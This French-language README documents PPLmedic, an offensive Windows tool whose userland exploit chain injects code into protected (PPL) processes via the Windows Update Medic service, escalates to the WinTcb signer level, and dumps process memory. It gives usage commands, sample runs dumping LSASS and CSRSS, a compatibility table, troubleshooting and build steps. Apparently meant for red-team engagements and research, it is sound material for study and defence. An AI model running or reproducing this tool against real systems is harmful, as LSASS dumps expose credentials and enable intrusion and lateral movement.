
Vider la mémoire de n'importe quel PPL à l'aide d'une chaîne d'exploitation Userland.
Cet outil implémente une chaîne d'exploitation Userland permettant d'injecter du code arbitraire dans un PPL avec le type de signataire Windows et d'élever vers le type de signataire WinTcb. Ces techniques ont été initialement présentées par James Forshaw (alias @tiraniddo) dans son article de blog Injecting Code into Windows Protected Processes using COM - Part 1.
Pour en savoir plus sur cet outil, vous devriez lire l'article associé ici :
Je qualifierais cet outil de preuve de concept avancée. Vous devriez réfléchir à deux fois avant de l'utiliser lors d'une mission réelle. Son utilisation est sûre tant qu'il n'est pas interrompu, ce qui ne peut pas être garanti en présence d'un EDR par exemple.
Il modifie des clés de registre importantes liées au service Windows Update Medic. Au pire, si ces clés de registre ne sont pas correctement restaurées, ce service ne fonctionnera plus correctement, mais cela ne fera pas planter le système d'exploitation.
Prérequis :
SeDebugPrivilegeREM Use the option -p to elevate from PPL-Windows to PPL-WinTcb
PPLmedic.exe dump "PID" "C:\FULL\PATH\TO\DUMP.dmp" [-p]
Dump d'un PPL-Windows ou inférieur (p. ex. : LSASS) :
C:\WINDOWS\system32>tasklist | findstr lsass
lsass.exe 756 Services 0 20,028 K
C:\WINDOWS\system32>C:\Temp\PPLmedic.exe dump 756 c:\Temp\lsass.dmp
[...]
[+] Payload DLL successfully loaded after 272 attempts!
[*] Deleting 272 temporary directories created by the service...
[*] Connected to remote process.
[+] Remote process protection level: 0x00000002 (PsProtectedSignerWindows-Light)
[+] Memory dump of process with PID 756 successful: c:\Temp\lsass.dmp
[...]
Dump d'un PPL-WinTcb (p. ex. : CSRSS) :
C:\WINDOWS\system32>tasklist | findstr csrss
csrss.exe 520 Services 0 26,420 K
csrss.exe 608 Console 1 57,548 K
C:\WINDOWS\system32>C:\Temp\PPLmedic.exe dump 520 c:\Temp\csrss.dmp -p
[...]
[+] Payload DLL successfully loaded after 181 attempts!
[*] Deleting 181 temporary directories created by the service...
[*] Connected to remote process.
[+] Remote process protection level: 0x00000002 (PsProtectedSignerWindows-Light)
[*] Attempting to get a higher process protection level...
[+] Target file 'C:\Users\LAB-AD~1\AppData\Local\Temp\faultrep.dll' should now be cache signed (level=12 - Windows).
[*] Connected to remote process.
[+] Remote process protection level: 0x00000000 (PsProtectedSignerWinTcb-Light)
[+] Memory dump of process with PID 520 successful: c:\Temp\csrss.dmp
[...]
| Version de Windows | PPL-Windows | PPL-WinTcb | Observation |
|---|---|---|---|
| Windows 10 22H2 Build 19045.2673 | ✔ | ✔ | N/A |
| Windows 11 22H2 Build 22621.1344 | ⚠ | ❌ | Crash fréquent du service + l'exploit de fausse signature en cache ne semble pas fonctionner. |
| Windows Server 2019 Version 1809 Build 17763.4010 | ✔ | ✔ | N/A |
| Windows Server 2022 Version 21H2 Build 20348.1547 | ✔ | ✔ | N/A |
Vous obtenez l'erreur suivante parce que l'exploit a expiré en essayant de créer un objet COM TaskHandler distant. C'est généralement le signe que le service cible WaaSMedicSvc a planté. Cela peut être confirmé par le message suivant : [!] Service WaaSMedicSvc is no longer running. Vous devriez réessayer d'exécuter l'outil.
C:\Windows\System32>C:\Temp\PPLmedic.exe dump 1234 C:\Temp\1234.dmp
[...]
[*] Trying to write a valid object directory handle...
[*] Attempt 100/1000 (10%)
[*] Attempt 200/1000 (20%)
[-] Unexpected error or timeout while trying to create a remote TaskHandler instance.
[!] Service WaaSMedicSvc is no longer running, it probably crashed because of an invalid handle value.
[...]
Vous obtenez l'erreur suivante parce que l'exploit n'a pas réussi à écrire un répertoire d'objets valide en moins de 1000 tentatives. Cette limite sert de filet de sécurité pour empêcher le service cible de consommer trop de ressources. Vous devriez réessayer d'exécuter l'outil.
C:\Windows\System32>C:\Temp\PPLmedic.exe dump 1234 C:\Temp\1234.dmp
[...]
[*] Trying to write a valid object directory handle...
[...]
[*] Attempt 1000/1000 (100%)
[-] Reached the maximum number of attempts.
[...]
Vous obtenez l'erreur suivante parce qu'une erreur inattendue s'est produite lors de l'appel à LaunchDetectionOnly ou LaunchRemediationOnly. Cela devrait toutefois être assez rare. Vous devriez réessayer d'exécuter l'outil.
C:\Windows\System32>C:\Temp\PPLmedic.exe dump 1234 C:\Temp\1234.dmp
[...]
[*] Trying to write a valid object directory handle...
[*] Attempt 100/1000 (10%)
[*] Attempt 200/1000 (20%)
[-] Failed to write LdrpKnownDllDirectoryHandle value (thread exit code: 0x800706ba).
[...]
Vous obtenez l'erreur suivante parce que l'exploit a échoué à mettre en cache la signature de la DLL de la charge utile. L'oplock défini sur le fichier catalogue n'a probablement jamais été déclenché car il avait déjà été ouvert par le noyau. Vous pouvez réessayer d'exécuter l'outil plus tard (pour Windows 11, reportez-vous à la section « Tests »).
C:\Windows\System32>C:\Temp\PPLmedic.exe dump 1234 C:\Temp\1234.dmp -p
[...]
[*] Trying to write a valid object directory handle...
[+] Payload DLL successfully loaded after 1 attempts!
[*] Connected to remote process.
[+] Remote process protection level: 0x00000002 (PsProtectedSignerWindows-Light)
[*] Attempting to get a higher process protection level...
[-] Failed to cache sign 'C:\Users\LAB-AD~1\AppData\Local\Temp\faultrep.dll' (LE: 997).
[...]
Cette solution Visual Studio comprend deux projets (l'exécutable et une DLL de charge utile) qui doivent être compilés dans un ordre spécifique. Tout est préconfiguré, il vous suffit donc de suivre ces instructions simples. La DLL de charge utile compilée est automatiquement intégrée à l'exécutable final.
Release / x64 (x86 n'est pas pris en charge !).Build > Build Solution.